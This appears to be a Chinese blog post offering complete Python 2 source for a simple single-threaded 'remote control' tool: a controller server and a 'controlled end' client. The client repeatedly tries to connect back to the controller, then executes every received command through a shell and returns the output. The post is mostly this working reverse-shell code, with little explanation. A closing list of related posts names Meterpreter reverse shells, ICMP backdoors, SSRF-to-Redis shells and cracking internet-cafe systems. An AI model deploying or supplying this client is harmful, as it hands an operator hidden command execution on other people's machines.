Python简易远控(单线程版)
1. 技术:管道通信,流文件处理,socket基础
2. Tips:
默认IP:127.0.0.1
默认端口:7676
3. 代码样例:
服务端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
from os import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s
def socketDeal(s,HOST,PORT):
s.bind((HOST,PORT))
s.listen(1)
def ControlModule(sS,addr):
recv_buffer = sS.recv(20048)
if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":
print recv_buffer
sys.exit(0)
else:
print recv_buffer
send_buf = raw_input(addr[0]+">")
sS.send(send_buf)
def main():
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketDeal(s, HOST, PORT)
sS,addr = s.accept()
print "Connect from " + addr[0] + ":" + repr(addr[1])
try:
while True:
ControlModule(sS,addr)
except Exception as e:
print "[-]Connect Error"
sS.close()
s.close()
sys.exit(-1)
except KeyboardInterrupt:
sS.close()
s.close()
sys.exit(0)
if __name__ == '__main__':
main()
受控端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
import re
import traceback
import tempfile
from os import *
from subprocess import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s
def socketConn(s,HOST,PORT):
while True:
try:
s.connect((HOST,PORT))
except Exception as e:
continue
else:
s.send("Welcome Sir ~")
break
def String_Deal(recv,send):
P_str = re.findall("cd(.*)|(\w):", recv)
if P_str!=[] and send == "":
if P_str[0][0]!="":
try:
chdir(P_str[0][0].strip())
except Exception as e:
flag = -1
else:
flag = 1
else:
try:
chdir(recv)
except Exception as e:
#traceback.print_exc()
flag = -1
else:
flag = 1
else:
if send == "":
flag = 1
else:
flag = 0
return flag
def OpenProcess(s):
try:
while True:
recv_buf = s.recv(2048)
#流文件技术,防止管道阻塞
out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)
fileNo = out_temp.fileno()
cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)
cmd.wait()
out_temp.seek(0)
send_buf = out_temp.read()
#print len(send_buf)
#输入命令字符串处理识别
flag = String_Deal(recv_buf,send_buf)
if flag == 1:
s.send("OK")
elif flag == -1:
s.send("Error!!")
else:
s.send(send_buf)
send_buf = ""
except Exception as e:
try:
s.send("[-]Error:Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(-1)
except KeyboardInterrupt:
try:
s.send("[*]Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(0)
def main():
flag = 0
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketConn(s, HOST, PORT)
OpenProcess(s)
if __name__ == '__main__':
main()
Python简易远控(单线程版)的更多相关文章
- python构造远控
server端: import socket import subprocess server=socket.socket() server.bind(('127.0.0.1',4444)) serv ...
- python+msf 制作 windows远控
最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~ 创建dll ./msfpayload win ...
- Python解决网吧收费系统,远控网吧电脑设备!
python破解网吧收费系统,远控网吧电脑设备! 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做案例的人,却不知道如何去学习更 ...
- python破解网吧收费系统,远控网吧电脑设备!
我今天呢 , 我就没事跟着朋友喝酒喝酒啊.喝了很多啊.晚上到旁边的酒店开了一个房间,到了酒店才十点! 感觉没啥事情干的,那就去网吧走走看把,看到是一个嘟嘟牛的,和上次是一样的.还是照常用MS170 ...
- 【Python】nvshens按目录批量下载图片爬虫1.00(单线程版)
# nvshens按目录批量下载图片爬虫1.00(单线程版) from bs4 import BeautifulSoup import requests import datetime import ...
- 2016款MACBOOK PRO触控条版 安装WIN10初体验 及 无奈退货记
新的2016MBP终于发布了,作为把苹果电脑装WIN使用的人,等候很久之后,终于可以行动了. 黄山松 (Tom Huang) 发表于博客园http://www.cnblogs.com/tomview/ ...
- Python3实现ICMP远控后门(上)
这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两 ...
- Python3实现ICMP远控后门(上)_补充篇
ICMP后门(上)补充篇 前言 在上一篇文章Python3实现ICMP远控后门(上)中,我简要讲解了ICMP协议,以及实现了一个简单的ping功能,在文章发表之后,后台很多朋友留言,说对校验和的计算不 ...
- Python3实现ICMP远控后门(中)之“嗅探”黑科技
ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...
随机推荐
- Hi3559板载u-boot、kernel及rootfs烧录过程及心得
这一篇随笔讲叙述下基于Hi3559AV100的BOXER-8410AI板载u-boot.kernel及rootfs烧录具体过程及遇到问题的解决方法与心得. 1.前期板载启动测试和烧录手段 1.1.烧写 ...
- HDOJ-3416(最大流+最短路+ISAP算法+向前星dijikstra算法+如何判断一条边是否在最短路中)
Marriage Match IV HDOJ-3416 这题的题意就是要找两点之间最短路的路径个数,而且边不能重复. 最大流和最短路的结合.首先正向和反向建图,再跑两遍dijikstra.到这里就求出 ...
- MySQL 多表查询与事务的操作
表连接查询 什么是多表查询 # 数据准备 # 多表查询的作用 * 比如:我们想查询孙悟空的名字和他所在的部门的名字,则需要使用多表查询 # 如果一条 SQL 语句查询多张表,因为查询结果在多张不同的表 ...
- 1.4 数据库和常用SQL语句(正文)——MySQL数据库命令和SQL语句
前面我们已经讲述了,登录时,我们使用mysql –u root –p命令进行,此时如果设置了密码,则需要输入密码. 输入密码后即进入MySQL的操作界面,此时,命令行窗体左侧显示"mysql ...
- 泛微OA 多版本存在命令执行
参考 https://blog.csdn.net/qq_41770175/article/details/102821349 https://www.linktrust.net/oday/471.ht ...
- SSRF漏洞利用之Redis大神赐予shell
0x00实验环境 1.centos靶机(IP为:192.168.11.205,桥接模式) 2.kali黑客攻击主机(IP为:192.168.172.129,NAT模式) 0x01实验原理 这段 ...
- FreeBSD 13 显卡支持
On FreeBSD 13, using drm-devel-kmod, support is the same as on Linux 5.4. This includes support for ...
- 2019.2-2019.3 TO-DO LIST
DP P2723 丑数 Humble Numbers(完成时间:2019.3.1) P2725 邮票 Stamps(完成时间:2019.3.1) P1021 邮票面值设计(完成时间:2019.3.1) ...
- Cloudam云端,探索高性能计算在药物研究领域的解决方案
近日,Cloudam云端与国内某知名药企与合作,通过接入Cloudam云端自主研发的云E云超算服务,计算效率提高的数百倍.这也是云算力在生命科学领域的又一次成功应用.Cloudam云端云E云超算服务是 ...
- 从RocketMQ的Broker源码层面验证一下这两个点
本篇博客会从源码层面,验证在RocketMQ基础概念剖析,并分析一下Producer的底层源码中提到的结论,分别是: Broker在启动时,会将自己注册到所有的NameServer上 Broker在启 ...